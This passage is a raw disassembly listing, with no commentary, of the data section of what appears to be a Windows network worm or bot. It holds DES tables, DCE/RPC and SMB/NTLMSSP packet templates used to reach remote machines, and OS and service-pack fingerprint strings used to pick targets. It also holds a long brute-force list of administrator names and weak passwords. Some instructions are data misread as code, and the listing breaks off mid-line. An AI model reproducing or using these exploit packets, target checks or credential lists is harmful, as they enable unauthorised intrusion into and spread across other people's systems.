8000208h, 8, 8020208h, 200h, 8000000h, 8020200h dd 8000000h, 20008h, 208h, 20000h, 8020200h, 8000200h dd 0 dd 200h, 20008h, 8020208h, 8000200h, 8000008h, 200h, 0 dd 8020008h, 8000208h, 20000h, 8000000h, 8020208h, 8, 20208h dd 20200h, 8000008h, 8020000h, 8000208h, 208h, 8020000h dd 20208h, 8, 8020008h, 20200h dword_43B178 dd 802001h ; sub_403721+193r dd 2 dup(2081h), 80h, 802080h, 800081h, 800001h, 2001h dd 0 dd 2 dup(802000h), 802081h, 81h, 0 dd 800080h, 800001h, 1, 2000h, 800000h, 802001h, 80h, 800000h dd 2001h, 2080h, 800081h, 1, 2080h, 800080h, 2000h, 802080h dd 802081h, 81h, 800080h, 800001h, 802000h, 802081h, 81h dd 2 dup(0) dd 802000h, 2080h, 800080h, 800081h, 1, 802001h, 2 dup(2081h) dd 80h, 802081h, 81h, 1, 2000h, 800001h, 2001h, 802080h dd 800081h, 2001h, 2080h, 800000h, 802001h, 80h, 800000h dd 2000h, 802080h dword_43B278 dd 100h ; sub_403721+164r dd 2080100h, 2080000h, 42000100h, 80000h, 100h, 40000000h dd 2080000h, 40080100h, 80000h, 2000100h, 40080100h, 42000100h dd 42080000h, 80100h, 40000000h, 2000000h, 2 dup(40080000h) dd 0 dd 40000100h, 2 dup(42080100h), 2000100h, 42080000h, 40000100h dd 0 dd 42000000h, 2080100h, 2000000h, 42000000h, 80100h, 80000h dd 42000100h, 100h, 2000000h, 40000000h, 2080000h, 42000100h dd 40080100h, 2000100h, 40000000h, 42080000h, 2080100h dd 40080100h, 100h, 2000000h, 42080000h, 42080100h, 80100h dd 42000000h, 42080100h, 2080000h, 0 dd 40080000h, 42000000h, 80100h, 2000100h, 40000100h, 80000h dd 0 dd 40080000h, 2080100h, 40000100h dword_43B378 dd 20000010h ; sub_403721+1A2r dd 20400000h, 4000h, 20404010h, 20400000h, 10h, 20404010h dd 400000h, 20004000h, 404010h, 400000h, 20000010h, 400010h dd 20004000h, 20000000h, 4010h, 0 dd 400010h, 20004010h, 4000h, 404000h, 20004010h, 10h dd 2 dup(20400010h), 0 dd offset loc_40400F+1 dd 20404000h, 4010h, 404000h, 20404000h, 20000000h, 20004000h dd 10h, 20400010h, 404000h, 20404010h, 400000h, 4010h dd 20000010h, 400000h, 20004000h, 20000000h, 4010h, 20000010h dd 20404010h, 404000h, 20400000h, 404010h, 20404000h, 0 dd 20400010h, 10h, 4000h, 20400000h, 404010h, 4000h, 400010h dd 20004010h, 0 dd 20404000h, 20000000h, 400010h, 20004010h dword_43B478 dd 200000h ; sub_403721+16Br dd 4200002h, 4000802h, 0 dd 800h, 4000802h, 200802h, 4200800h, 4200802h, 200000h dd 0 dd 4000002h, 2, 4000000h, 4200002h, 802h, 4000800h, 200802h dd 200002h, 4000800h, 4000002h, 4200000h, 4200800h, 200002h dd 4200000h, 800h, 802h, 4200802h, 200800h, 2, 4000000h dd 200800h, 4000000h, 200800h, 200000h, 2 dup(4000802h) dd 2 dup(4200002h), 2, 200002h, 4000000h, 4000800h, 200000h dd 4200800h, 802h, 200802h, 4200800h, 802h, 4000002h, 4200802h dd 4200000h, 200800h, 0 dd 2, 4200802h, 0 dd 200802h, 4200000h, 800h, 4000002h, 4000800h, 800h, 200002h dword_43B578 dd 10001040h ; sub_403721+1ACr dd 1000h, 40000h, 10041040h, 10000000h, 10001040h, 40h dd 10000000h, 40040h, 10040000h, 10041040h, 41000h, 10041000h dd 41040h, 1000h, 40h, 10040000h, 10000040h, 10001000h dd 1040h, 41000h, 40040h, 10040040h, 10041000h, 1040h dd 2 dup(0) dd 10040040h, 10000040h, 10001000h, 41040h, 40000h, 41040h dd 40000h, 10041000h, 1000h, 40h, 10040040h, 1000h, 41040h dd 10001000h, 40h, 10000040h, 10040000h, 10040040h, 10000000h dd 40000h, 10001040h, 0 dd 10041040h, 40040h, 10000040h, 10040000h, 10001000h dd 10001040h, 0 dd 10041040h, 2 dup(41000h), 2 dup(1040h), 40040h, 10000000h dd 10041000h dword_43B678 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0) dword_43B6C8 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_403970+FBo dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_43BA2C dd 20h, 0 dd 20h, 5C005Ch, 0 off_43BA40 dd offset loc_43005C ; DATA XREF: sub_403970+135o dd offset dword_5C0024 a12345611111111: unicode 0, <123456111111111111111.doc>,0 align 10h dword_43BA80 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) off_43BAB4 dd offset word_580046 ; DATA XREF: sub_403970+31o ; sub_403970+72o dd offset loc_42004E dd offset word_580046 dd offset word_580046 dd offset loc_42004E dd offset word_580046 dd offset word_580046 dd offset word_580046 dd offset word_580046 dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '' db '' db '',0 dword_43BB90 dd 10016C6h dword_43BB94 dd 100139Dh dword_43BB98 dd 158h align 10h dword_43BBA0 dd 30B0005h, 10h, 48h, 0 dd 16D016D0h, 0 dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_43BBEC dd 3000005h, 10h, 5 dup(0)dword_43BC08 dd 10005h, 2 dup(0) dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch, 5 dup(0) dd 90000h, 300h, 0 dd 300h, 5C005Ch, 0 dword_43BC50 dd 0 dd 2, 0 dd 1, 91C68h, 1, 2 dup(0) dd 0C0h, 46000000h, 2 dup(1), 7 ; --------------------------------------------------------------------------- loc_43BC84: ; DATA XREF: .text:00403EB0o mov eax, [esp-4] add eax, 0FFFFFAE0h jmp eax ; --------------------------------------------------------------------------- align 10h loc_43BC90: ; DATA XREF: .text:00403E5Bo mov eax, [ebp+30h] add eax, 0FFFFFB24h jmp eax ; --------------------------------------------------------------------------- align 4 loc_43BC9C: ; DATA XREF: .text:00403EFFo jmp short loc_43BCAE ; --------------------------------------------------------------------------- jmp short loc_43BCB9 ; --------------------------------------------------------------------------- dd 0 ; --------------------------------------------------------------------------- loc_43BCA4: ; DATA XREF: .text:00403F5Ao jmp short near ptr word_43BCAA ; --------------------------------------------------------------------------- dw 0FFFFh db 2 dup(0FFh) word_43BCAA dw 0 ; CODE XREF: .text:loc_43BCA4j ; --------------------------------------------------------------------------- loc_43BCAC: ; DATA XREF: .text:00403F7Bo jmp short near ptr word_43BCB2 ; --------------------------------------------------------------------------- loc_43BCAE: ; CODE XREF: .text:loc_43BC9Cj ; .text:loc_43BCCCj jmp short loc_43BCB4 ; --------------------------------------------------------------------------- db 2 dup(0) word_43BCB2 dw 0 ; CODE XREF: .text:loc_43BCACj ; --------------------------------------------------------------------------- loc_43BCB4: ; CODE XREF: .text:loc_43BCAEj ; DATA XREF: .text:00403F9Fo jmp short near ptr loc_43BCB9+1 ; --------------------------------------------------------------------------- dw 0FFFFh db 0FFh ; --------------------------------------------------------------------------- loc_43BCB9: ; CODE XREF: .text:0043BC9Ej ; .text:loc_43BCB4j inc dword ptr [eax] ; --------------------------------------------------------------------------- db 0 off_43BCBC dd offset loc_410058+4 ; DATA XREF: .text:00403FEEo dd 2 dup(0) dword_43BCC8 dd 77F33723h ; --------------------------------------------------------------------------- loc_43BCCC: ; DATA XREF: .text:00403F38o jmp short loc_43BCAE ; --------------------------------------------------------------------------- dw 7FFDh ; --------------------------------------------------------------------------- loc_43BCD0: ; DATA XREF: .text:00403F11o lahf jnz short loc_43BCEB loc_43BCD3: ; DATA XREF: .text:00403EA0o add [ecx+1Ch], bl loc_43BCD6: ; CODE XREF: .text:loc_43BCE0j add [ecx], al loc_43BCD8: ; DATA XREF: .text:00403E82o or ecx, [ebx] sbb eax, [eax] loc_43BCDC: ; DATA XREF: .text:00403E91o jmp short near ptr dword_43BCE4 ; --------------------------------------------------------------------------- align 10h loc_43BCE0: ; DATA XREF: .text:00403E6Do jmp short loc_43BCD6 ; --------------------------------------------------------------------------- align 4 dword_43BCE4 dd 0 byte_43BCE8 db 5, 0, 0Bh ; DATA XREF: sub_404134+298o ; --------------------------------------------------------------------------- loc_43BCEB: ; CODE XREF: .text:0043BCD1j add edx, [eax] ; --------------------------------------------------------------------------- db 3 dup(0) dd 48h, 7Fh, 16D016D0h, 0 dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0) dword_43BD38 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_404134+17Fo dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_43C09C dd 20h, 0 dd 20h, 5C005Ch, 0 off_43C0B0 dd offset loc_43005C ; DATA XREF: sub_404134+1B9o dd offset dword_5C0024 a123456111111_0: unicode 0, <123456111111111111111.doc>,0 align 10h dword_43C0F0 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) off_43C124 dd offset word_580046 ; DATA XREF: sub_404134+A2o ; sub_404134+F2o dd offset loc_42004E dd offset word_580046 dd offset word_580046 dd offset loc_42004E dd offset word_580046 dd offset word_580046 dd offset word_580046 dd offset word_580046 dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrr_0 db '' db '' db '',0 dword_43C200 dd 10016C6h dword_43C204 dd 100139Dh dword_43C208 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; sub_404525+C01o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_43C254 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; sub_404525+C40o dword_43C270 dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0 ; DATA XREF: sub_404525+B1Bo ; sub_404525+C75o dword_43C284 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_404525+B3Fo ; sub_404525+C9Co unk_43C298 db 81h ; ; DATA XREF: sub_404525+AAo ; sub_404525+916o db 2 dup(0), 44h aCkfdenecfdef_0 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aEkedfeeiedcaca db ' EKEDFEEIEDCACACACACACACACACACAAA',0 dd 0 dword_43C2E4 dd 2F000000h, 424D53FFh, 72h, 4 dup(0) ; sub_404525+948o dd 25C0000h, 0 dd 2000C00h, 4C20544Eh, 2E30204Dh, 3231h dword_43C318 dd 48000000h, 424D53FFh, 73h, 4 dup(0) ; sub_404525+973o dd 25C0000h, 0 dd 0FF0Dh, 2FFFF00h, 25C00h, 2 dup(0) dd 1000000h, 0B000000h, 6E000000h, 79700074h, 626D73h dd 0 db 81h ; db 2 dup(0), 44h aCkfdenecfdef_1 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aEkedfeeiedca_0 db ' EKEDFEEIEDCACACACACACACACACACAAA',0 dd 2 dup(0) dword_43C3B8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_404525+2C8o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0) dword_43C448 dd 0B9000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: sub_404525+2FCo dd 0C0750000h, 6DD70000h, 0FF0Ch, 2FFDF00h, 100h, 5B000000h dd 0 db 0 db 5Ch, 0D0h, 0 db 80h ; € db 7Eh, 0, 60h db 59h ; Y db 2 dup(6), 2Bh db 6 db 1, 2 dup(5) db 2 db 0A0h, 4Fh, 30h db 4Dh ; M db 0A0h, 0Eh, 30h db 0Ch db 6, 0Ah, 2Bh db 6 db 1, 4, 1 db 82h ; ‚ db 37h, 2 dup(2) db 0Ah db 0A2h, 3Bh, 4 a9ntlmssp db '9NTLMSSP',0 db 1, 2 dup(0) db 0 db 1, 2, 8 db 0 db 9, 0, 9 db 0 db 20h, 2 dup(0) db 0 db 10h, 0, 10h db 0 db 29h, 2 dup(0) db 0 aWorkgrouplqpxf db 'WORKGROUPlQPxf2ISQgEV1bGKWindows 2000 2195',0 aWindows20005_0 db 'Windows 2000 5.0',0 align 4 dword_43C508 dd 0D010000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: sub_404525+381o dd 0C0750000h dword_43C528 dd 6DD72000h, 0FF0Ch, 2FFDF00h, 100h, 0AF000000h, 0 ; DATA XREF: sub_404525+36Eo dd 0D05C00h, 0A100D280h, 8130AC81h, 0A681A2A9h, 4EA38104h dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h dd 58001800h, 12000000h, 70001200h, 0 dd 82000000h, 20000000h, 82002000h, 0 dd 0A2000000h, 1000000h, 0ED000802h, 778839B7h, 0BE16D7h dd 3 dup(0) db 0 db 2 dup(0), 42h db 0AEh ; ® db 0B7h, 1Fh, 0BBh db 6Dh ; m db 0C1h, 84h, 99h db 1 aKXEcTijW db 'k',8,'±xºeC',0Ah db 'ÓšâI†)W',0 dd offset byte_52004F dd offset byte_47004B dd offset word_4F0052 dd offset byte_500055 dd offset dword_51006C db 50h, 0, 78h db 0 db 66h, 0, 32h db 0 dd offset byte_530049 dd offset byte_670051 dd offset byte_560045 dd offset byte_620031 dd offset byte_4B0047 align 2 aWindows2000219 db 'Windows 2000 2195',0 aWindows20005_1 db 'Windows 2000 5.0',0 align 10h dword_43C620 dd 6B000000h, 424D53FFh, 73h, 20011800h, 3 dup(0) ; DATA XREF: sub_404525+3B2o dd 0C0750000h, 6DD70000h, 0FF0Dh, 2FFDF00h, 100h, 2 dup(0) dd 40000000h, 2E000000h, 4F570000h, 52474B52h, 50554Fh aWindows20002_0 db 'Windows 2000 2195',0 aWindows20005_2 db 'Windows 2000 5.0',0 align 10h dword_43C690 dd 37000000h, 424D53FFh, 75h, 20011800h, 3 dup(0) ; DATA XREF: sub_404525+3FFo dd 0C0750000h dword_43C6B0 dd 6DD72001h, 0FF04h, 1000000h, 0C00h, 24435049h, 3F3F3F00h ; DATA XREF: sub_404525+3EFo dd 3F3Fh, 0 dword_43C6D0 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: sub_404525+4D1o ; sub_404525+6D3o dword_43C6EC dd 4780800h ; sub_404525+6B3o dword_43C6F0 dd 400800h, 0DE00FF18h, 800DEh, 16h, 0 ; sub_404525+6C3o dd 2019Fh, 4 dup(0) dd 1, 40h, 2, 5C000903h, 574F5242h, 524553h, 2 dup(0) dword_43C738 dd 5B000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: sub_404525+468o dword_43C754 dd 4780800h dword_43C758 dd 400800h, 0DE00FF18h, 700DEh, 16h, 0 dd 2019Fh, 4 dup(0) dd 1, 40h, 2, 5C000803h, 53565253h, 4356h dword_43C798 dd 3F020000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_404525+54Do ; sub_404525+74Fo dword_43C7B4 dd 4780800h ; sub_404525+71Co dword_43C7B8 dd 400800h, 0FF0Eh ; sub_404525+72Co db 0 byte_43C7C1 db 0, 40h, 0 ; DATA XREF: sub_404525+53Ao ; sub_404525+73Co dd 0FF000000h, 8FFFFFFh, 20000h, 3F020000h, 0 dd 5020000h, 10030B00h, 0 dd 2, 0D0000000h, 16D016h, 0B000000h, 0 dd 84000100h, 1FB33323h, 2C0E9508h, 0C32C304Ah, 1830708h dd 4000300h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h dd 1000000h, 0BE000100h, 54A71E0Eh, 91E02161h, 23E45A04h dd 2D082E6h, 4000300h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h dd 2604810h, 2000000h, 0E9000100h, 0E77F4FDFh, 0A54D6B2Bh dd 833CAAD4h, 0A10315h, 4000200h, 0EB8A885Dh, 9F11C91Ch dd 2B0008E8h, 2604810h, 3000000h, 0AD000100h, 19D89A50h dd 1CF35CB9h, 0AD534199h, 175601Eh, 4000000h, 0EB8A885Dh dd 9F11C91Ch, 2B0008E8h, 2604810h, 4000000h, 97000100h dd 409F7E21h, 0D7BEC99Eh, 0F1B0A4EBh, 595FE37h, 4000300h dd 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h, 5000000h dd 0FD000100h, 858B52C8h, 8B3A74CCh, 30E02915h, 216ACCDh dd 4000100h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h dd 6000000h, 5B000100h, 0E19ACBDEh, 1F728325h, 92A2A310h dd 7636E7h, 4000200h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h dd 2604810h, 7000000h, 74000100h, 9C0CDF4h, 0BEF37F2Dh dd 0C3573B8h, 1685206h, 4000000h, 0EB8A885Dh, 9F11C91Ch dd 2B0008E8h, 2604810h, 8000000h, 0E5000100h, 0E1EA256Ch dd 4AC21B8Ah, 29885617h, 106C3EEh, 4000200h, 0EB8A885Dh dd 9F11C91Ch, 2B0008E8h, 2604810h, 9000000h, 26000100h dd 4D7D7050h, 7BAF8288h, 0EA1D963Dh, 29A17EBh, 4000100h dd 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h, 0A000000h dd 0C8000100h, 704B324Fh, 1201D316h, 0BF475A78h, 388E16Eh dd 4000000h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h dd 2 dup(0) dword_43C9E0 dd 3B000000h, 424D53FFh, 2Eh, 20011800h, 3 dup(0) ; DATA XREF: sub_404525+5BDo ; sub_404525+66Do ... dword_43C9FC dd 4780800h ; sub_404525+78Fo dword_43CA00 dd 400800h, 0FF0Ah ; sub_404525+79Fo db 0 byte_43CA09 db 0, 40h, 0 ; DATA XREF: sub_404525+5ADo ; sub_404525+7AFo dd 80000000h, 0FFBB80BBh, 0FFFFFFh, 2 dup(0) dword_43CA20 dd 0A3000000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_404525+630o dword_43CA3C dd 4780800h dword_43CA40 dd 400800h, 0FF0Eh db 0 byte_43CA49 db 0, 40h, 16h ; DATA XREF: sub_404525+61Do dd 0FF000000h, 8FFFFFFh, 6400h, 3F006400h, 0 dd 5006400h, 10030000h, 64000000h, 0 dd 4C000000h, 0A000000h, 1B002200h, 745AB37h, 0 dd 7000000h, 69000000h, 48004600h, 6C006E00h, 4E00h, 0A000000h dd 0 dd 0A000000h, 6B000000h, 44007600h, 76007300h, 70004300h dd 71005400h, 1000000h, 0FAh, 2 dup(0) dword_43CAC8 dd 6F000000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_404525+82Fo dword_43CAE4 dd 304F0800h dword_43CAE8 dd 7C540801h, 0FF0Eh db 0 byte_43CAF1 db 1, 40h, 49h ; DATA XREF: sub_404525+81Fo dd 0FF000001h, 8FFFFFFh, 3000h, 3F003000h, 0 dd 5003000h, 10030000h, 30000000h, 0 dd 18000000h, 0A000000h, 35001C00h, 3329DE9h, 0 dd 3000000h, 4B000000h, 4700h, 0 dword_43CB3C dd 65706970h, 6D70655Ch, 65707061h, 72hdword_43CB4C dd 73255C5Ch, 5Ch ; sub_4097B9+18Fo ... dword_43CB54 dd 646E6957h, 2073776Fh, 302E35haWindows2000Lan db 'Windows 2000 LAN Manager*',0 ; DATA XREF: sub_404525+A29o align 4 aWindowsServer2 db 'Windows Server 2003 *.*',0 ; DATA XREF: sub_404525+A0Ao aSamba db 'Samba *',0 ; DATA XREF: sub_404525+237o aWindows5_1 db 'Windows 5.1',0 ; DATA XREF: sub_404525+21Do ; sub_404525+349o aNtLanManager_ db 'NT LAN Manager *.*',0 ; DATA XREF: sub_404525+1E7o align 4 aServicePack2 db '*Service Pack 2*',0 ; DATA XREF: sub_404525+1C5o align 10h aServicePack1 db '*Service Pack 1*',0 ; DATA XREF: sub_404525+1AAo align 8 off_43CBE8 dd offset byte_454A54 ; DATA XREF: sub_4059BF+188r ; sub_4059BF+190o dd offset aAdministrator ; "Administrator" dd offset aAdmin ; "Admin" dd offset aAdministrador ; "Administrador" dd offset aAdministrateur ; "Administrateur" dd offset aAdministrada ; "Administrada" dd offset aAdministratoro ; "Administratoro" dd offset aAdministrado_0 ; "Administrador'" dd offset aAdministratore ; "Administratore" dd offset aAdministratori ; "Administratori" dd offset aAdministration ; "Administration" dd offset aAdministrators ; "Administrators" dd offset dword_43DD3C dd offset dword_43DD2C dd offset aAdministracion ; "Administracion" dd offset aBeheerder ; "Beheerder" dd offset aRendszergazda ; "Rendszergazda" dd offset aVerwalter ; "Verwalter" dd offset aHallintovirkai ; "Hallintovirkailijat" dd offset aAmministratore ; "Amministratore" dd offset aContgenerale ; "Contgenerale" dd offset aXxxxxx ; "xxxxxx" dd offset aDefault_0 ; "Default" dd offset aDefault_1 ; "default" dd offset aServer ; "Server" dd offset aUtilizador ; "Utilizador" dd offset aServidor ; "Servidor" dd offset aServeur ; "serveur" dd offset aManager ; "manager" dd offset aSystem_0 ; "SYSTEM" dd offset aAdm ; "adm" dd offset aAdmins ; "admins" dd offset aAdmin_0 ; "ADMIN" dd offset aAdmin1 ; "Admin1" dd offset aOwner ; "owner" dd offset aRoot ; "root" dd offset aApacheServer ; "apache server" dd offset aHttpd ; "httpd" dd offset aStandard ; "Standard" dd offset aMaster ; "master" dd offset aThomas ; "thomas" dd offset aArsenal ; "arsenal" dd offset aMonkey ; "monkey" dd offset aCharlie ; "charlie" dd offset aLiverpool ; "liverpool" dd offset aLuna ; "luna" dd offset aRdp ; "rdp" dd offset aAsp_net ; "ASP.NET" dd offset a01 ; "01" dd offset a02 ; "02" dd offset a03 ; "03" dd offset a04 ; "04" dd offset a05 ; "05" dd offset aBlah ; "blah" dd offset aClient ; "Client" dd offset aClient01 ; "Client01" dd offset aClient02 ; "Client02" dd offset aClient03 ; "Client03" dd offset aClient04 ; "Client04" dd offset aClient05 ; "Client05" dd offset aBillGates ; "bill gates" dd offset aDivx ; "DiVX" dd offset aDivxServer ; "DiVX-SERVER" dd offset aExploited ; "exploited" dd offset dword_43DB48 dd offset off_43DB44 dd offset aGameServer ; "game server" dd offset aGameserver ; "gameserver" dd offset aSudo ; "sudo" dd offset aBox ; "box" dd offset aBox1 ; "box1" dd offset aBox2 ; "box2" dd offset aBox3 ; "box3" dd offset aBox4 ; "box4" dd offset aBox5 ; "box5" dd offset aGuest ; "guest" dd offset a31337 ; "31337" dd offset a@_5 ; "!@" dd offset a@_4 ; "!@#" dd offset a@_3 ; "!@#$" ; --------------------------------------------------------------------------- rcr dl, 1 inc ebx add al, cl fiadd dword ptr [ebx+0] rcr dl, 43h add [eax-4FFFBC26h], bh fiadd dword ptr [ebx+0] lodsb fiadd dword ptr [ebx+0] test al, 0DAh inc ebx add [edx+ebx*8-255FFFBDh], ah inc ebx add [edx+ebx*8-2567FFBDh], bl inc ebx add [eax-7BFFBC26h], dl fiadd dword ptr [ebx+0] sbb dl, 43h add [eax-26h], bh inc ebx add [eax-26h], dh inc ebx add [edx+ebx*8+43h], ch add [eax-26h], ch loc_43CD6E: ; CODE XREF: .text:0043CD90j inc ebx add [edx+ebx*8+43h], ah add [edx+ebx*8+43h], bl add [eax-26h], bl inc ebx add [eax-26h], dl inc ebx add [eax-26h], al inc ebx add [eax], bh fiadd dword ptr [ebx+0] xor dl, bl inc ebx add [eax], ch fiadd dword ptr [ebx+0] js short loc_43CD6E inc ebx add [edx+ebx*8], bl inc ebx add [eax], dl fiadd dword ptr [ebx+0] or dl, bl inc ebx ; --------------------------------------------------------------------------- db 0 dd offset aAccount ; "account" dd offset aAccounting ; "accounting" dd offset aProftpd ; "proftpd" dd offset aFtpd ; "ftpd" dd offset aWarftpd ; "warftpd" dd offset aLighthttpd ; "lightHTTPD" dd offset aSlimftp ; "slimftp" dd offset aServU ; "serv-u" dd offset aServUFtp ; "Serv-U FTP" dd offset aProfessional ; "Professional" dd offset aPc01 ; "pc01" dd offset aPc02 ; "pc02" dd offset aPc03 ; "pc03" dd offset aPc04 ; "pc04" dd offset aPc05 ; "pc05" dd offset aBoss ; "BOSS" dd offset off_43D970 dd offset aFormationplus ; "FormationPLUS" dd offset dword_43D954 dd offset aWww ; "www" dd offset aWebserver ; "webserver" dd offset asc_43D940 ; "X" dd offset aY ; "y" dd offset aXxxxxx ; "xxxxxx" dd 2 dup(0) off_43CE08 dd offset byte_454A54 ; DATA XREF: sub_405965+3r ; sub_405965+Fo dd offset asc_43D938 ; " " dd offset aAdministrator ; "Administrator" dd offset aAdministrador ; "Administrador" dd offset aAdministrateur ; "Administrateur" dd offset aAdministrada ; "Administrada" dd offset aAdministratoro ; "Administratoro" dd offset aAdministrado_0 ; 